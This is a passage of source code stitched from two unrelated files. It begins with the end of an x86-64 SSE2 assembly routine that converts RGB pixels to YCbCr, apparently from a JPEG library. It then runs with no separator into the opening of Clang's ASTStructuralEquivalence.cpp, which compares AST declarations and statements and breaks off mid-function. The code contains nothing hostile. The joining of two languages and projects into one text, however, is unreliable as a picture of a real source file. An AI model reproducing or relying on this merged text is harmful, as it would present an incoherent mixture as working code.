05 09 0D -- -- -- -- -- -- -- --) punpckhbw xmmA,xmmD ; xmmA=(00 02 04 06 08 0A 0C 0E 10 12 14 16 18 1A 1C 1E) pslldq xmmD,8 ; xmmD=(-- -- -- -- -- -- -- -- 11 15 19 1D 21 25 29 2D) punpcklbw xmmE,xmmG ; xmmE=(20 22 24 26 28 2A 2C 2E 01 03 05 07 09 0B 0D 0F) punpckhbw xmmD,xmmG ; xmmD=(11 13 15 17 19 1B 1D 1F 21 23 25 27 29 2B 2D 2F) pxor xmmH,xmmH movdqa xmmC,xmmA punpcklbw xmmA,xmmH ; xmmA=(00 02 04 06 08 0A 0C 0E) punpckhbw xmmC,xmmH ; xmmC=(10 12 14 16 18 1A 1C 1E) movdqa xmmB,xmmE punpcklbw xmmE,xmmH ; xmmE=(20 22 24 26 28 2A 2C 2E) punpckhbw xmmB,xmmH ; xmmB=(01 03 05 07 09 0B 0D 0F) movdqa xmmF,xmmD punpcklbw xmmD,xmmH ; xmmD=(11 13 15 17 19 1B 1D 1F) punpckhbw xmmF,xmmH ; xmmF=(21 23 25 27 29 2B 2D 2F) %else ; RGB_PIXELSIZE == 4 ; ----------- .column_ld1: test cl, SIZEOF_XMMWORD/16 jz short .column_ld2 sub rcx, byte SIZEOF_XMMWORD/16 movd xmmA, XMM_DWORD [rsi+rcx*RGB_PIXELSIZE] .column_ld2: test cl, SIZEOF_XMMWORD/8 jz short .column_ld4 sub rcx, byte SIZEOF_XMMWORD/8 movq xmmE, XMM_MMWORD [rsi+rcx*RGB_PIXELSIZE] pslldq xmmA, SIZEOF_MMWORD por xmmA,xmmE .column_ld4: test cl, SIZEOF_XMMWORD/4 jz short .column_ld8 sub rcx, byte SIZEOF_XMMWORD/4 movdqa xmmE,xmmA movdqu xmmA, XMMWORD [rsi+rcx*RGB_PIXELSIZE] .column_ld8: test cl, SIZEOF_XMMWORD/2 mov rcx, SIZEOF_XMMWORD jz short .rgb_ycc_cnv movdqa xmmF,xmmA movdqa xmmH,xmmE movdqu xmmA, XMMWORD [rsi+0*SIZEOF_XMMWORD] movdqu xmmE, XMMWORD [rsi+1*SIZEOF_XMMWORD] jmp short .rgb_ycc_cnv .columnloop: movdqu xmmA, XMMWORD [rsi+0*SIZEOF_XMMWORD] movdqu xmmE, XMMWORD [rsi+1*SIZEOF_XMMWORD] movdqu xmmF, XMMWORD [rsi+2*SIZEOF_XMMWORD] movdqu xmmH, XMMWORD [rsi+3*SIZEOF_XMMWORD] .rgb_ycc_cnv: ; xmmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33) ; xmmE=(04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37) ; xmmF=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B) ; xmmH=(0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F) movdqa xmmD,xmmA punpcklbw xmmA,xmmE ; xmmA=(00 04 10 14 20 24 30 34 01 05 11 15 21 25 31 35) punpckhbw xmmD,xmmE ; xmmD=(02 06 12 16 22 26 32 36 03 07 13 17 23 27 33 37) movdqa xmmC,xmmF punpcklbw xmmF,xmmH ; xmmF=(08 0C 18 1C 28 2C 38 3C 09 0D 19 1D 29 2D 39 3D) punpckhbw xmmC,xmmH ; xmmC=(0A 0E 1A 1E 2A 2E 3A 3E 0B 0F 1B 1F 2B 2F 3B 3F) movdqa xmmB,xmmA punpcklwd xmmA,xmmF ; xmmA=(00 04 08 0C 10 14 18 1C 20 24 28 2C 30 34 38 3C) punpckhwd xmmB,xmmF ; xmmB=(01 05 09 0D 11 15 19 1D 21 25 29 2D 31 35 39 3D) movdqa xmmG,xmmD punpcklwd xmmD,xmmC ; xmmD=(02 06 0A 0E 12 16 1A 1E 22 26 2A 2E 32 36 3A 3E) punpckhwd xmmG,xmmC ; xmmG=(03 07 0B 0F 13 17 1B 1F 23 27 2B 2F 33 37 3B 3F) movdqa xmmE,xmmA punpcklbw xmmA,xmmD ; xmmA=(00 02 04 06 08 0A 0C 0E 10 12 14 16 18 1A 1C 1E) punpckhbw xmmE,xmmD ; xmmE=(20 22 24 26 28 2A 2C 2E 30 32 34 36 38 3A 3C 3E) movdqa xmmH,xmmB punpcklbw xmmB,xmmG ; xmmB=(01 03 05 07 09 0B 0D 0F 11 13 15 17 19 1B 1D 1F) punpckhbw xmmH,xmmG ; xmmH=(21 23 25 27 29 2B 2D 2F 31 33 35 37 39 3B 3D 3F) pxor xmmF,xmmF movdqa xmmC,xmmA punpcklbw xmmA,xmmF ; xmmA=(00 02 04 06 08 0A 0C 0E) punpckhbw xmmC,xmmF ; xmmC=(10 12 14 16 18 1A 1C 1E) movdqa xmmD,xmmB punpcklbw xmmB,xmmF ; xmmB=(01 03 05 07 09 0B 0D 0F) punpckhbw xmmD,xmmF ; xmmD=(11 13 15 17 19 1B 1D 1F) movdqa xmmG,xmmE punpcklbw xmmE,xmmF ; xmmE=(20 22 24 26 28 2A 2C 2E) punpckhbw xmmG,xmmF ; xmmG=(30 32 34 36 38 3A 3C 3E) punpcklbw xmmF,xmmH punpckhbw xmmH,xmmH psrlw xmmF,BYTE_BIT ; xmmF=(21 23 25 27 29 2B 2D 2F) psrlw xmmH,BYTE_BIT ; xmmH=(31 33 35 37 39 3B 3D 3F) %endif ; RGB_PIXELSIZE ; --------------- ; xmm0=R(02468ACE)=RE, xmm2=G(02468ACE)=GE, xmm4=B(02468ACE)=BE ; xmm1=R(13579BDF)=RO, xmm3=G(13579BDF)=GO, xmm5=B(13579BDF)=BO ; (Original) ; Y = 0.29900 * R + 0.58700 * G + 0.11400 * B ; Cb = -0.16874 * R - 0.33126 * G + 0.50000 * B + CENTERJSAMPLE ; Cr = 0.50000 * R - 0.41869 * G - 0.08131 * B + CENTERJSAMPLE ; ; (This implementation) ; Y = 0.29900 * R + 0.33700 * G + 0.11400 * B + 0.25000 * G ; Cb = -0.16874 * R - 0.33126 * G + 0.50000 * B + CENTERJSAMPLE ; Cr = 0.50000 * R - 0.41869 * G - 0.08131 * B + CENTERJSAMPLE movdqa XMMWORD [wk(0)], xmm0 ; wk(0)=RE movdqa XMMWORD [wk(1)], xmm1 ; wk(1)=RO movdqa XMMWORD [wk(2)], xmm4 ; wk(2)=BE movdqa XMMWORD [wk(3)], xmm5 ; wk(3)=BO movdqa xmm6,xmm1 punpcklwd xmm1,xmm3 punpckhwd xmm6,xmm3 movdqa xmm7,xmm1 movdqa xmm4,xmm6 pmaddwd xmm1,[rel PW_F0299_F0337] ; xmm1=ROL*FIX(0.299)+GOL*FIX(0.337) pmaddwd xmm6,[rel PW_F0299_F0337] ; xmm6=ROH*FIX(0.299)+GOH*FIX(0.337) pmaddwd xmm7,[rel PW_MF016_MF033] ; xmm7=ROL*-FIX(0.168)+GOL*-FIX(0.331) pmaddwd xmm4,[rel PW_MF016_MF033] ; xmm4=ROH*-FIX(0.168)+GOH*-FIX(0.331) movdqa XMMWORD [wk(4)], xmm1 ; wk(4)=ROL*FIX(0.299)+GOL*FIX(0.337) movdqa XMMWORD [wk(5)], xmm6 ; wk(5)=ROH*FIX(0.299)+GOH*FIX(0.337) pxor xmm1,xmm1 pxor xmm6,xmm6 punpcklwd xmm1,xmm5 ; xmm1=BOL punpckhwd xmm6,xmm5 ; xmm6=BOH psrld xmm1,1 ; xmm1=BOL*FIX(0.500) psrld xmm6,1 ; xmm6=BOH*FIX(0.500) movdqa xmm5,[rel PD_ONEHALFM1_CJ] ; xmm5=[PD_ONEHALFM1_CJ] paddd xmm7,xmm1 paddd xmm4,xmm6 paddd xmm7,xmm5 paddd xmm4,xmm5 psrld xmm7,SCALEBITS ; xmm7=CbOL psrld xmm4,SCALEBITS ; xmm4=CbOH packssdw xmm7,xmm4 ; xmm7=CbO movdqa xmm1, XMMWORD [wk(2)] ; xmm1=BE movdqa xmm6,xmm0 punpcklwd xmm0,xmm2 punpckhwd xmm6,xmm2 movdqa xmm5,xmm0 movdqa xmm4,xmm6 pmaddwd xmm0,[rel PW_F0299_F0337] ; xmm0=REL*FIX(0.299)+GEL*FIX(0.337) pmaddwd xmm6,[rel PW_F0299_F0337] ; xmm6=REH*FIX(0.299)+GEH*FIX(0.337) pmaddwd xmm5,[rel PW_MF016_MF033] ; xmm5=REL*-FIX(0.168)+GEL*-FIX(0.331) pmaddwd xmm4,[rel PW_MF016_MF033] ; xmm4=REH*-FIX(0.168)+GEH*-FIX(0.331) movdqa XMMWORD [wk(6)], xmm0 ; wk(6)=REL*FIX(0.299)+GEL*FIX(0.337) movdqa XMMWORD [wk(7)], xmm6 ; wk(7)=REH*FIX(0.299)+GEH*FIX(0.337) pxor xmm0,xmm0 pxor xmm6,xmm6 punpcklwd xmm0,xmm1 ; xmm0=BEL punpckhwd xmm6,xmm1 ; xmm6=BEH psrld xmm0,1 ; xmm0=BEL*FIX(0.500) psrld xmm6,1 ; xmm6=BEH*FIX(0.500) movdqa xmm1,[rel PD_ONEHALFM1_CJ] ; xmm1=[PD_ONEHALFM1_CJ] paddd xmm5,xmm0 paddd xmm4,xmm6 paddd xmm5,xmm1 paddd xmm4,xmm1 psrld xmm5,SCALEBITS ; xmm5=CbEL psrld xmm4,SCALEBITS ; xmm4=CbEH packssdw xmm5,xmm4 ; xmm5=CbE psllw xmm7,BYTE_BIT por xmm5,xmm7 ; xmm5=Cb movdqa XMMWORD [rbx], xmm5 ; Save Cb movdqa xmm0, XMMWORD [wk(3)] ; xmm0=BO movdqa xmm6, XMMWORD [wk(2)] ; xmm6=BE movdqa xmm1, XMMWORD [wk(1)] ; xmm1=RO movdqa xmm4,xmm0 punpcklwd xmm0,xmm3 punpckhwd xmm4,xmm3 movdqa xmm7,xmm0 movdqa xmm5,xmm4 pmaddwd xmm0,[rel PW_F0114_F0250] ; xmm0=BOL*FIX(0.114)+GOL*FIX(0.250) pmaddwd xmm4,[rel PW_F0114_F0250] ; xmm4=BOH*FIX(0.114)+GOH*FIX(0.250) pmaddwd xmm7,[rel PW_MF008_MF041] ; xmm7=BOL*-FIX(0.081)+GOL*-FIX(0.418) pmaddwd xmm5,[rel PW_MF008_MF041] ; xmm5=BOH*-FIX(0.081)+GOH*-FIX(0.418) movdqa xmm3,[rel PD_ONEHALF] ; xmm3=[PD_ONEHALF] paddd xmm0, XMMWORD [wk(4)] paddd xmm4, XMMWORD [wk(5)] paddd xmm0,xmm3 paddd xmm4,xmm3 psrld xmm0,SCALEBITS ; xmm0=YOL psrld xmm4,SCALEBITS ; xmm4=YOH packssdw xmm0,xmm4 ; xmm0=YO pxor xmm3,xmm3 pxor xmm4,xmm4 punpcklwd xmm3,xmm1 ; xmm3=ROL punpckhwd xmm4,xmm1 ; xmm4=ROH psrld xmm3,1 ; xmm3=ROL*FIX(0.500) psrld xmm4,1 ; xmm4=ROH*FIX(0.500) movdqa xmm1,[rel PD_ONEHALFM1_CJ] ; xmm1=[PD_ONEHALFM1_CJ] paddd xmm7,xmm3 paddd xmm5,xmm4 paddd xmm7,xmm1 paddd xmm5,xmm1 psrld xmm7,SCALEBITS ; xmm7=CrOL psrld xmm5,SCALEBITS ; xmm5=CrOH packssdw xmm7,xmm5 ; xmm7=CrO movdqa xmm3, XMMWORD [wk(0)] ; xmm3=RE movdqa xmm4,xmm6 punpcklwd xmm6,xmm2 punpckhwd xmm4,xmm2 movdqa xmm1,xmm6 movdqa xmm5,xmm4 pmaddwd xmm6,[rel PW_F0114_F0250] ; xmm6=BEL*FIX(0.114)+GEL*FIX(0.250) pmaddwd xmm4,[rel PW_F0114_F0250] ; xmm4=BEH*FIX(0.114)+GEH*FIX(0.250) pmaddwd xmm1,[rel PW_MF008_MF041] ; xmm1=BEL*-FIX(0.081)+GEL*-FIX(0.418) pmaddwd xmm5,[rel PW_MF008_MF041] ; xmm5=BEH*-FIX(0.081)+GEH*-FIX(0.418) movdqa xmm2,[rel PD_ONEHALF] ; xmm2=[PD_ONEHALF] paddd xmm6, XMMWORD [wk(6)] paddd xmm4, XMMWORD [wk(7)] paddd xmm6,xmm2 paddd xmm4,xmm2 psrld xmm6,SCALEBITS ; xmm6=YEL psrld xmm4,SCALEBITS ; xmm4=YEH packssdw xmm6,xmm4 ; xmm6=YE psllw xmm0,BYTE_BIT por xmm6,xmm0 ; xmm6=Y movdqa XMMWORD [rdi], xmm6 ; Save Y pxor xmm2,xmm2 pxor xmm4,xmm4 punpcklwd xmm2,xmm3 ; xmm2=REL punpckhwd xmm4,xmm3 ; xmm4=REH psrld xmm2,1 ; xmm2=REL*FIX(0.500) psrld xmm4,1 ; xmm4=REH*FIX(0.500) movdqa xmm0,[rel PD_ONEHALFM1_CJ] ; xmm0=[PD_ONEHALFM1_CJ] paddd xmm1,xmm2 paddd xmm5,xmm4 paddd xmm1,xmm0 paddd xmm5,xmm0 psrld xmm1,SCALEBITS ; xmm1=CrEL psrld xmm5,SCALEBITS ; xmm5=CrEH packssdw xmm1,xmm5 ; xmm1=CrE psllw xmm7,BYTE_BIT por xmm1,xmm7 ; xmm1=Cr movdqa XMMWORD [rdx], xmm1 ; Save Cr sub rcx, byte SIZEOF_XMMWORD add rsi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; inptr add rdi, byte SIZEOF_XMMWORD ; outptr0 add rbx, byte SIZEOF_XMMWORD ; outptr1 add rdx, byte SIZEOF_XMMWORD ; outptr2 cmp rcx, byte SIZEOF_XMMWORD jae near .columnloop test rcx,rcx jnz near .column_ld1 pop rcx ; col pop rsi pop rdi pop rbx pop rdx add rsi, byte SIZEOF_JSAMPROW ; input_buf add rdi, byte SIZEOF_JSAMPROW add rbx, byte SIZEOF_JSAMPROW add rdx, byte SIZEOF_JSAMPROW dec rax ; num_rows jg near .rowloop .return: pop rbx uncollect_args mov rsp,rbp ; rsp <- aligned rbp pop rsp ; rsp <- original rbp pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 16
//===- ASTStructuralEquivalence.cpp ---------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This file implement StructuralEquivalenceContext class and helper functions // for layout matching. // // The structural equivalence check could have been implemented as a parallel // BFS on a pair of graphs. That must have been the original approach at the // beginning. // Let's consider this simple BFS algorithm from the `s` source: // ``` // void bfs(Graph G, int s) // { // Queue<Integer> queue = new Queue<Integer>(); // marked[s] = true; // Mark the source // queue.enqueue(s); // and put it on the queue. // while (!q.isEmpty()) { // int v = queue.dequeue(); // Remove next vertex from the queue. // for (int w : G.adj(v)) // if (!marked[w]) // For every unmarked adjacent vertex, // { // marked[w] = true; // queue.enqueue(w); // } // } // } // ``` // Indeed, it has it's queue, which holds pairs of nodes, one from each graph, // this is the `DeclsToCheck` member. `VisitedDecls` plays the role of the // marking (`marked`) functionality above, we use it to check whether we've // already seen a pair of nodes. // // We put in the elements into the queue only in the toplevel decl check // function: // ``` // static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, // Decl *D1, Decl *D2); // ``` // The `while` loop where we iterate over the children is implemented in // `Finish()`. And `Finish` is called only from the two **member** functions // which check the equivalency of two Decls or two Types. ASTImporter (and // other clients) call only these functions. // // The `static` implementation functions are called from `Finish`, these push // the children nodes to the queue via `static bool // IsStructurallyEquivalent(StructuralEquivalenceContext &Context, Decl *D1, // Decl *D2)`. So far so good, this is almost like the BFS. However, if we // let a static implementation function to call `Finish` via another **member** // function that means we end up with two nested while loops each of them // working on the same queue. This is wrong and nobody can reason about it's // doing. Thus, static implementation functions must not call the **member** // functions. // //===----------------------------------------------------------------------===// #include "clang/AST/ASTStructuralEquivalence.h" #include "clang/AST/ASTContext.h" #include "clang/AST/ASTDiagnostic.h" #include "clang/AST/Decl.h" #include "clang/AST/DeclBase.h" #include "clang/AST/DeclCXX.h" #include "clang/AST/DeclFriend.h" #include "clang/AST/DeclObjC.h" #include "clang/AST/DeclOpenMP.h" #include "clang/AST/DeclTemplate.h" #include "clang/AST/ExprCXX.h" #include "clang/AST/ExprConcepts.h" #include "clang/AST/ExprObjC.h" #include "clang/AST/ExprOpenMP.h" #include "clang/AST/NestedNameSpecifier.h" #include "clang/AST/StmtObjC.h" #include "clang/AST/StmtOpenMP.h" #include "clang/AST/TemplateBase.h" #include "clang/AST/TemplateName.h" #include "clang/AST/Type.h" #include "clang/Basic/ExceptionSpecificationType.h" #include "clang/Basic/IdentifierTable.h" #include "clang/Basic/LLVM.h" #include "clang/Basic/SourceLocation.h" #include "llvm/ADT/APInt.h" #include "llvm/ADT/APSInt.h" #include "llvm/ADT/None.h" #include "llvm/ADT/Optional.h" #include "llvm/ADT/StringExtras.h" #include "llvm/Support/Casting.h" #include "llvm/Support/Compiler.h" #include "llvm/Support/ErrorHandling.h" #include <cassert> #include <utility> using namespace clang; static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, QualType T1, QualType T2); static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, Decl *D1, Decl *D2); static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, const TemplateArgument &Arg1, const TemplateArgument &Arg2); static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, NestedNameSpecifier *NNS1, NestedNameSpecifier *NNS2); static bool IsStructurallyEquivalent(const IdentifierInfo *Name1, const IdentifierInfo *Name2); static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, const DeclarationName Name1, const DeclarationName Name2) { if (Name1.getNameKind() != Name2.getNameKind()) return false; switch (Name1.getNameKind()) { case DeclarationName::Identifier: return IsStructurallyEquivalent(Name1.getAsIdentifierInfo(), Name2.getAsIdentifierInfo()); case DeclarationName::CXXConstructorName: case DeclarationName::CXXDestructorName: case DeclarationName::CXXConversionFunctionName: return IsStructurallyEquivalent(Context, Name1.getCXXNameType(), Name2.getCXXNameType()); case DeclarationName::CXXDeductionGuideName: { if (!IsStructurallyEquivalent( Context, Name1.getCXXDeductionGuideTemplate()->getDeclName(), Name2.getCXXDeductionGuideTemplate()->getDeclName())) return false; return IsStructurallyEquivalent(Context, Name1.getCXXDeductionGuideTemplate(), Name2.getCXXDeductionGuideTemplate()); } case DeclarationName::CXXOperatorName: return Name1.getCXXOverloadedOperator() == Name2.getCXXOverloadedOperator(); case DeclarationName::CXXLiteralOperatorName: return IsStructurallyEquivalent(Name1.getCXXLiteralIdentifier(), Name2.getCXXLiteralIdentifier()); case DeclarationName::CXXUsingDirective: return true; // FIXME When do we consider two using directives equal? case DeclarationName::ObjCZeroArgSelector: case DeclarationName::ObjCOneArgSelector: case DeclarationName::ObjCMultiArgSelector: return true; // FIXME } llvm_unreachable("Unhandled kind of DeclarationName"); return true; } namespace { /// Encapsulates Stmt comparison logic. class StmtComparer { StructuralEquivalenceContext &Context; // IsStmtEquivalent overloads. Each overload compares a specific statement // and only has to compare the data that is specific to the specific statement // class. Should only be called from TraverseStmt. bool IsStmtEquivalent(const AddrLabelExpr *E1, const AddrLabelExpr *E2) { return IsStructurallyEquivalent(Context, E1->getLabel(), E2->getLabel()); } bool IsStmtEquivalent(const AtomicExpr *E1, const AtomicExpr *E2) { return E1->getOp() == E2->getOp(); } bool IsStmtEquivalent(const BinaryOperator *E1, const BinaryOperator *E2) { return E1->getOpcode() == E2->getOpcode(); } bool IsStmtEquivalent(const CallExpr *E1, const CallExpr *E2) { // FIXME: IsStructurallyEquivalent requires non-const Decls. Decl *Callee1 = const_cast<Decl *>(E1->getCalleeDecl()); Decl *Callee2 = const_cast<Decl *>(E2->getCalleeDecl()); // Compare whether both calls know their callee. if (static_cast<bool>(Callee1) != static_cast<bool>(Callee2)) return false; // Both calls have no callee, so nothing to do. if (!static_cast<bool>(Callee1)) return true; assert(Callee2); return IsStructurallyEquivalent(Context, Callee1, Callee2); } bool IsStmtEquivalent(const CharacterLiteral *E1, const CharacterLiteral *E2) { return E1->getValue() == E2->getValue() && E1->getKind() == E2->getKind(); } bool IsStmtEquivalent(const ChooseExpr *E1, const ChooseExpr *E2) { return true; // Semantics only depend on children. } bool IsStmtEquivalent(const CompoundStmt *E1, const CompoundStmt *E2) { // Number of children is actually checked by the generic children comparison // code, but a CompoundStmt is one of the few statements where the number of // children frequently differs and the number of statements is also always // precomputed. Directly comparing the number of children here is thus // just an optimization. return E1->size() == E2->size(); } bool IsStmtEquivalent(const DependentScopeDeclRefExpr *DE1, const DependentScopeDeclRefExpr *DE2) { if (!IsStructurallyEquivalent(Context, DE1->getDeclName(), DE2->getDeclName())) return false; return IsStructurallyEquivalent(Context, DE1->getQualifier(), DE2->getQualifier()); } bool IsStmtEquivalent(const Expr *E1, const Expr *E2) { return IsStructurallyEquivalent(Context, E1->getType(), E2->getType()); } bool IsStmtEquivalent(const ExpressionTraitExpr *E1, const ExpressionTraitExpr *E2) { return E1->getTrait() == E2->getTrait() && E1->getValue() == E2->getValue(); } bool IsStmtEquivalent(const FloatingLiteral *E1, const FloatingLiteral *E2) { return E1->isExact() == E2->isExact() && E1->getValue() == E2->getValue(); } bool IsStmtEquivalent(const GenericSelectionExpr *E1, const GenericSelectionExpr *E2) { for (auto Pair : zip_longest(E1->getAssocTypeSourceInfos(), E2->getAssocTypeSourceInfos())) { Optional<TypeSourceInfo *> Child1 = std::get<0>(Pair); Optional<TypeSourceInfo *> Child2 = std::get<1>(Pair); // Skip this case if there are a different number of associated types. if (!Child1 || !Child2) return false; if (!IsStructurallyEquivalent(Context, (*Child1)->getType(), (*Child2)->getType())) return false; } return true; } bool IsStmtEquivalent(const ImplicitCastExpr *CastE1, const ImplicitCastExpr *CastE2) { return IsStructurallyEquivalent(Context, CastE1->getType(), CastE2->getType()); } bool IsStmtEquivalent(const IntegerLiteral *E1, const IntegerLiteral *E2) { return E1->getValue() == E2->getValue(); } bool IsStmtEquivalent(const MemberExpr *E1, const MemberExpr *E2) { return IsStructurallyEquivalent(Context, E1->getFoundDecl(), E2->getFoundDecl()); } bool IsStmtEquivalent(const ObjCStringLiteral *E1, const ObjCStringLiteral *E2) { // Just wraps a StringLiteral child. return true; } bool IsStmtEquivalent(const Stmt *S1, const Stmt *S2) { return true; } bool IsStmtEquivalent(const SourceLocExpr *E1, const SourceLocExpr *E2) { return E1->getIdentKind() == E2->getIdentKind(); } bool IsStmtEquivalent(const StmtExpr *E1, const StmtExpr *E2) { return E1->getTemplateDepth() == E2->getTemplateDepth(); } bool IsStmtEquivalent(const StringLiteral *E1, const StringLiteral *E2) { return E1->getBytes() == E2->getBytes(); } bool IsStmtEquivalent(const SubstNonTypeTemplateParmExpr *E1, const SubstNonTypeTemplateParmExpr *E2) { return IsStructurallyEquivalent(Context, E1->getParameter(), E2->getParameter()); } bool IsStmtEquivalent(const SubstNonTypeTemplateParmPackExpr *E1, const SubstNonTypeTemplateParmPackExpr *E2) { return IsStructurallyEquivalent(Context, E1->getArgumentPack(), E2->getArgumentPack()); } bool IsStmtEquivalent(const TypeTraitExpr *E1, const TypeTraitExpr *E2) { if (E1->getTrait() != E2->getTrait()) return false; for (auto Pair : zip_longest(E1->getArgs(), E2->getArgs())) { Optional<TypeSourceInfo *> Child1 = std::get<0>(Pair); Optional<TypeSourceInfo *> Child2 = std::get<1>(Pair); // Different number of args. if (!Child1 || !Child2) return false; if (!IsStructurallyEquivalent(Context, (*Child1)->getType(), (*Child2)->getType())) return false; } return true; } bool IsStmtEquivalent(const UnaryExprOrTypeTraitExpr *E1, const UnaryExprOrTypeTraitExpr *E2) { if (E1->getKind() != E2->getKind()) return false; return IsStructurallyEquivalent(Context, E1->getTypeOfArgument(), E2->getTypeOfArgument()); } bool IsStmtEquivalent(const UnaryOperator *E1, const UnaryOperator *E2) { return E1->getOpcode() == E2->getOpcode(); } bool IsStmtEquivalent(const VAArgExpr *E1, const VAArgExpr *E2) { // Semantics only depend on children. return true; } /// End point of the traversal chain. bool TraverseStmt(const Stmt *S1, const Stmt *S2) { return true; } // Create traversal methods that traverse the class hierarchy and return // the accumulated result of the comparison. Each TraverseStmt overload // calls the TraverseStmt overload of the parent class. For example, // the TraverseStmt overload for 'BinaryOperator' calls the TraverseStmt // overload of 'Expr' which then calls the overload for 'Stmt'. #define STMT(CLASS, PARENT) \ bool TraverseStmt(const CLASS *S1, const CLASS *S2) { \ if (!TraverseStmt(static_cast<const PARENT *>(S1), \ static_cast<const PARENT *>(S2))) \ return false; \ return IsStmtEquivalent(S1, S2); \ } #include "clang/AST/StmtNodes.inc" public: StmtComparer(StructuralEquivalenceContext &C) : Context(C) {} /// Determine whether two statements are equivalent. The statements have to /// be of the same kind. The children of the statements and their properties /// are not compared by this function. bool IsEquivalent(const Stmt *S1, const Stmt *S2) { if (S1->getStmtClass() != S2->getStmtClass()) return false; // Each TraverseStmt walks the class hierarchy from the leaf class to // the root class 'Stmt' (e.g. 'BinaryOperator' -> 'Expr' -> 'Stmt'). Cast // the Stmt we have here to its specific subclass so that we call the // overload that walks the whole class hierarchy from leaf to root (e.g., // cast to 'BinaryOperator' so that 'Expr' and 'Stmt' is traversed). switch (S1->getStmtClass()) { case Stmt::NoStmtClass: llvm_unreachable("Can't traverse NoStmtClass"); #define STMT(CLASS, PARENT) \ case Stmt::StmtClass::CLASS##Class: \ return TraverseStmt(static_cast<const CLASS *>(S1), \ static_cast<const CLASS *>(S2)); #define ABSTRACT_STMT(S) #include "clang/AST/StmtNodes.inc" } llvm_unreachable("Invalid statement kind"); } }; } // namespace /// Determine structural equivalence of two statements. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, const Stmt *S1, const Stmt *S2) { if (!S1 || !S2) return S1 == S2; // Compare the statements itself. StmtComparer Comparer(Context); if (!Comparer.IsEquivalent(S1, S2)) return false; // Iterate over the children of both statements and also compare them. for (auto Pair : zip_longest(S1->children(), S2->children())) { Optional<const Stmt *> Child1 = std::get<0>(Pair); Optional<const Stmt *> Child2 = std::get<1>(Pair); // One of the statements has a different amount of children than the other, // so the statements can't be equivalent. if (!Child1 || !Child2) return false; if (!IsStructurallyEquivalent(Context, *Child1, *Child2)) return false; } return true; } /// Determine whether two identifiers are equivalent. static bool IsStructurallyEquivalent(const IdentifierInfo *Name1, const IdentifierInfo *Name2) { if (!Name1 || !Name2) return Name1 == Name2; return Name1->getName() == Name2->getName(); } /// Determine whether two nested-name-specifiers are equivalent. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, NestedNameSpecifier *NNS1, NestedNameSpecifier *NNS2) { if (NNS1->getKind() != NNS2->getKind()) return false; NestedNameSpecifier *Prefix1 = NNS1->getPrefix(), *Prefix2 = NNS2->getPrefix(); if ((bool)Prefix1 != (bool)Prefix2) return false; if (Prefix1) if (!IsStructurallyEquivalent(Context, Prefix1, Prefix2)) return false; switch (NNS1->getKind()) { case NestedNameSpecifier::Identifier: return IsStructurallyEquivalent(NNS1->getAsIdentifier(), NNS2->getAsIdentifier()); case NestedNameSpecifier::Namespace: return IsStructurallyEquivalent(Context, NNS1->getAsNamespace(), NNS2->getAsNamespace()); case NestedNameSpecifier::NamespaceAlias: return IsStructurallyEquivalent(Context, NNS1->getAsNamespaceAlias(), NNS2->getAsNamespaceAlias()); case NestedNameSpecifier::TypeSpec: case NestedNameSpecifier::TypeSpecWithTemplate: return IsStructurallyEquivalent(Context, QualType(NNS1->getAsType(), 0), QualType(NNS2->getAsType(), 0)); case NestedNameSpecifier::Global: return true; case NestedNameSpecifier::Super: return IsStructurallyEquivalent(Context, NNS1->getAsRecordDecl(), NNS2->getAsRecordDecl()); } return false; } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, const TemplateName &N1, const TemplateName &N2) { TemplateDecl *TemplateDeclN1 = N1.getAsTemplateDecl(); TemplateDecl *TemplateDeclN2 = N2.getAsTemplateDecl(); if (TemplateDeclN1 && TemplateDeclN2) { if (!IsStructurallyEquivalent(Context, TemplateDeclN1, TemplateDeclN2)) return false; // If the kind is different we compare only the template decl. if (N1.getKind() != N2.getKind()) return true; } else if (TemplateDeclN1 || TemplateDeclN2) return false; else if (N1.getKind() != N2.getKind()) return false; // Check for special case incompatibilities. switch (N1.getKind()) { case TemplateName::OverloadedTemplate: { OverloadedTemplateStorage *OS1 = N1.getAsOverloadedTemplate(), *OS2 = N2.getAsOverloadedTemplate(); OverloadedTemplateStorage::iterator I1 = OS1->begin(), I2 = OS2->begin(), E1 = OS1->end(), E2 = OS2->end(); for (; I1 != E1 && I2 != E2; ++I1, ++I2) if (!IsStructurallyEquivalent(Context, *I1, *I2)) return false; return I1 == E1 && I2 == E2; } case TemplateName::AssumedTemplate: { AssumedTemplateStorage *TN1 = N1.getAsAssumedTemplateName(), *TN2 = N1.getAsAssumedTemplateName(); return TN1->getDeclName() == TN2->getDeclName(); } case TemplateName::DependentTemplate: { DependentTemplateName *DN1 = N1.getAsDependentTemplateName(), *DN2 = N2.getAsDependentTemplateName(); if (!IsStructurallyEquivalent(Context, DN1->getQualifier(), DN2->getQualifier())) return false; if (DN1->isIdentifier() && DN2->isIdentifier()) return IsStructurallyEquivalent(DN1->getIdentifier(), DN2->getIdentifier()); else if (DN1->isOverloadedOperator() && DN2->isOverloadedOperator()) return DN1->getOperator() == DN2->getOperator(); return false; } case TemplateName::SubstTemplateTemplateParmPack: { SubstTemplateTemplateParmPackStorage *P1 = N1.getAsSubstTemplateTemplateParmPack(), *P2 = N2.getAsSubstTemplateTemplateParmPack(); return IsStructurallyEquivalent(Context, P1->getArgumentPack(), P2->getArgumentPack()) && IsStructurallyEquivalent(Context, P1->getParameterPack(), P2->getParameterPack()); } case TemplateName::Template: case TemplateName::QualifiedTemplate: case TemplateName::SubstTemplateTemplateParm: // It is sufficient to check value of getAsTemplateDecl. break; } return 